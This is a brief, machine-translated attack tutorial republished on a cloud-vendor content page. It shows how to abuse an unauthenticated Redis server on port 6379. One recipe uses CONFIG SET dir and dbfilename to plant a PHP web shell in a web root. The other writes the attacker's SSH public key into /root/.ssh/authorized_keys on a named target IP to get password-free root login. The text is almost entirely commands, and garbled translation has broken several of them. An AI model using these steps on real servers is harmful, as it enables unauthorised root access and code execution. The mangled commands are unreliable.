Redis write shell and ssh password-free login

Source: Internet
Author: User

REDIS-CLI Parameters:
-H: Specifies the host IP or domain name to connect to
-P: Specify the port of the connection
-A: Specify password
-r: Executes the specified command
-N: Database name
-X: Outputs the last parameter as value

Redis Write Shell-----port 6379 redis-cli-h 127.0.0.1
Config set dir ar/www/webroot/
Config set Dbfilename redis.php
Set Webshell "<?php phpinfo ();? > "
Save

Ssh-keygen-t rsa-p ""-p means login password
scp/root/.ssh/id_rsa.pub [Email Protected]:/root/.ssh/authorized_keys
chmod Authorized_keys
Export Id_ras.pub
(echo-e "\ n"; Cat id_rsa.pub; echo-e "\ n") &gt; Key.txt

Redis connected to target 192.168.199.166 by the-x parameter, Key.txt is set to the value of key "Crackit", which actually has a key-value on the other side's database.
Cat Key.txt | Redis-cli-h 192.168.199.166-x Set Crackit

Redis-cli-h 192.168.199.166 # Redis that connects to the target host
Config get dir #获取redis的备份路径
Config set dir/root/.ssh #设置数据库的备份路径
Config set dbfilename Authorized_keys #设置备份的数据库名称为authorized_keys
Config get Dbfilename # to see if the database name is set correctly
Key * #查看我们的key是否成功创建
Save # Saves data to the hard disk

Redis write shell and ssh password-free login

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.